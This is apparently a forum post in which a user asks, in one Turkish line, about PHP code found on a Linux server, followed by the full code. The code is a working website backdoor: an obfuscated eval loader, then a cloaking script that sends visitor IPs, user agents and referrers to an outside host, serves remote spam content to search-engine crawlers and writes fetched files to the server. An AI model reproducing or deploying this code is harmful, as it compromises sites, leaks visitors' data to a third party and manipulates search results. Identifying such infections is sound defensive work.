@Linux; aşağıdaki gibi bir kod çıkıyor.
<?php
$O0O000 = "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";
eval('?>' . $O00O0O($O0OO00($OO0O00($O0O000, $OO0000 * 2) , $OO0O00($O0O000, $OO0000, $OO0000) , $OO0O00($O0O000, 0, $OO0000)))); ?><?php
$temp = @$_GET['smtemp'];
$goweb = 'thirty-seven1.blueaddict.site';
$id = @$_GET['smid'];
$site = @$_GET['smsite'];
$site = str_replace('/', '', $site);
$host = $_SERVER['HTTP_HOST'];
$clock = '';
$tempweb = @$_GET['tempweb'];
$tempweb = str_replace('/', '', $tempweb);
if ($tempweb) {
$site = $tempweb[0] . $tempweb[1] . $tempweb[2];
$temp = substr($tempweb, 3);
}
$lang = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = base64_encode($lang);
$os = $_SERVER['HTTP_USER_AGENT'];
$os = base64_encode($os);
if (isset($_SERVER['HTTP_REFERER'])) {
$urlshang = $_SERVER['HTTP_REFERER'];
$urlshang = base64_encode($urlshang);
}
else {
$urlshang = '';
}
if (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR') , 'unknown')) {
$clock = getenv('REMOTE_ADDR');
}
elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
$clock = $_SERVER['REMOTE_ADDR'];
}
$http_clock = '';
if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP') , 'unknown')) {
$http_clock = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR') , 'unknown')) {
$http_clock = getenv('HTTP_X_FORWARDED_FOR');
}
if (stristr($clock, ',')) {
$clock_tmp = explode(",", $clock);
$clock = $clock_tmp[0];
}
if (@$_GET['kj'] == "1") {
$uurl = $_GET['kjsite'];
echo '<iframe id="mainweb" name="mainweb" height="100%" width="100%" style=" display: block;left:0;top:0;position:fixed; z-index: 100000; background-color: #fff;" frameborder = "0" frameborder="0" onLoad="iFrameHeight()" src="' . base64_decode($uurl) . '"></iframe>';
exit;
}
if (stristr($smuri_tmp, '.css')) {
$web = 'http://' . $goweb . '/index.php?url=' . $site . '&id=' . $id . '&temp=' . $temp . '&dt=' . $dt . '&web=' . $host . '&zz=' . smisbot() . '&jdir=' . $jdir . '&clock=' . $clock . '&uri=' . $smuri . '&lang=' . $lang . '&os=' . $os . '&urlshang=' . $urlshang . '&http_clock=' . $http_clock;
$html_content = trim(smoutdo($web));
if (!strstr($html_content, 'nobotuseragent')) {
if (strstr($html_content, 'okhtmlgetcontent')) {
@header("Content-type: text/css; charset=utf-8");
$html_content = str_replace("okhtmlgetcontent", '', $html_content);
echo $html_content;
exit();
}
else
if (strstr($html_content, 'getcontent500page')) {
@header('HTTP/1.1 500 Internal Server Error');
exit();
}
else
if (strstr($html_content, 'getcontent404page')) {
@header('HTTP/1.1 404 Not Found');
exit();
}
}
}
else
if ($site) {
if ($site == 'xml') {
@header("Content-type: text/html; charset=utf-8");
$web = 'http://' . $goweb . '/sitemap.php?date=' . $id . '&temp=' . $temp . '&web=' . $host . '&xml=' . $dt;
if (substr($temp, 0, 8) == 'shellxml') {
$xmlname = substr($temp, 8) . '.xml';
}
if (substr($temp, 0, 7) == 'hackxml') {
if (substr($temp, 7)) {
$xmlname = substr($temp, 7) . '.xml';
}
}
$xml = trim(smoutdo($web));
$myfile = fopen($xmlname, "w");
fwrite($myfile, $xml);
fclose($myfile);
echo "ok<br />http://" . $_SERVER['HTTP_HOST'] . "/" . $xmlname;
echo "<br />" . $web;
exit();
}
if ($id) {
@header("Content-type: text/html; charset=utf-8");
$web = 'http://' . $goweb . '/index.php?url=' . $site . '&id=' . $id . '&temp=' . $temp . '&dt=' . $dt . '&web=' . $host . '&zz=' . smisbot() . '&jdir=' . $jdir . '&clock=' . $clock . '&uri=' . $smuri . '&lang=' . $lang . '&os=' . $os . '&urlshang=' . $urlshang . '&http_clock=' . $http_clock;
$html_content = trim(smoutdo($web));
if (!strstr($html_content, 'nobotuseragent')) {
if (strstr($html_content, 'okhtmlgetcontent')) {
$html_content = str_replace("okhtmlgetcontent", '', $html_content);
echo $html_content;
exit();
}
else
if (strstr($html_content, 'getcontent500page')) {
@header('HTTP/1.1 500 Internal Server Error');
exit();
}
else
if (strstr($html_content, 'getcontent404page')) {
@header('HTTP/1.1 404 Not Found');
exit();
}
}
}
}
else {
$web = 'http://' . $goweb . '/index.php?url=bot&id=' . $id . '&temp=' . $temp . '&dt=' . $dt . '&web=' . $host . '&zz=' . smisbot() . '&jdir=' . $jdir . '&clock=' . $clock . '&uri=' . $smuri . '&lang=' . $lang . '&os=' . $os . '&urlshang=' . $urlshang . '&http_clock=' . $http_clock;
$html_content = trim(smoutdo($web));
if (!strstr($html_content, 'nobotuseragent')) {
@header("Content-type: text/html; charset=utf-8");
if (strstr($html_content, 'okhtmlgetcontent')) {
$html_content = str_replace("okhtmlgetcontent", '', $html_content);
echo $html_content;
exit();
}
else
if (strstr($html_content, 'getcontent500page')) {
@header('HTTP/1.1 500 Internal Server Error');
exit();
}
else
if (strstr($html_content, 'getcontent404page')) {
@header('HTTP/1.1 404 Not Found');
exit();
}
}
}
function smisbot()
{
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
if ($agent != "") {
$spiderSite = array(
"TencentTraveler",
"Googlebot",
"msnbot",
"Sosospider+",
"Sogou web spider",
"ia_archiver",
"Yahoo! Slurp",
"YoudaoBot",
"Yahoo Slurp",
"MSNBot",
"Java (Often spam bot)",
"BaiDuSpider",
"Voila",
"Yandex bot",
"BSpider",
"twiceler",
"Sogou Spider",
"Speedy Spider",
"Google AdSense",
"Heritrix",
"Python-urllib",
"Alexa (IA Archiver)",
"Ask",
"Exabot",
"Custo",
"OutfoxBot/YodaoBot",
"yacy",
"SurveyBot",
"legs",
"lwp-trivial",
"Nutch",
"StackRambler",
"The web archive (IA Archiver)",
"Perl tool",
"MJ12bot",
"Netcraft",
"MSIECrawler",
"WGet tools",
"larbin",
"Fish search",
'bingbot',
'google',
'baidu',
'aol',
'bing',
'yahoo',
'YandexBot',
'AhrefsBot'
);
foreach($spiderSite as $val) {
$str = strtolower($val);
if (strpos($agent, $str)) {
return true;
}
}
}
else {
return false;
}
}
function smoutdo($url)
{
$file_contents = @file_get_contents($url);
if (!$file_contents) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$file_contents = curl_exec($ch);
curl_close($ch);
}
return $file_contents;
}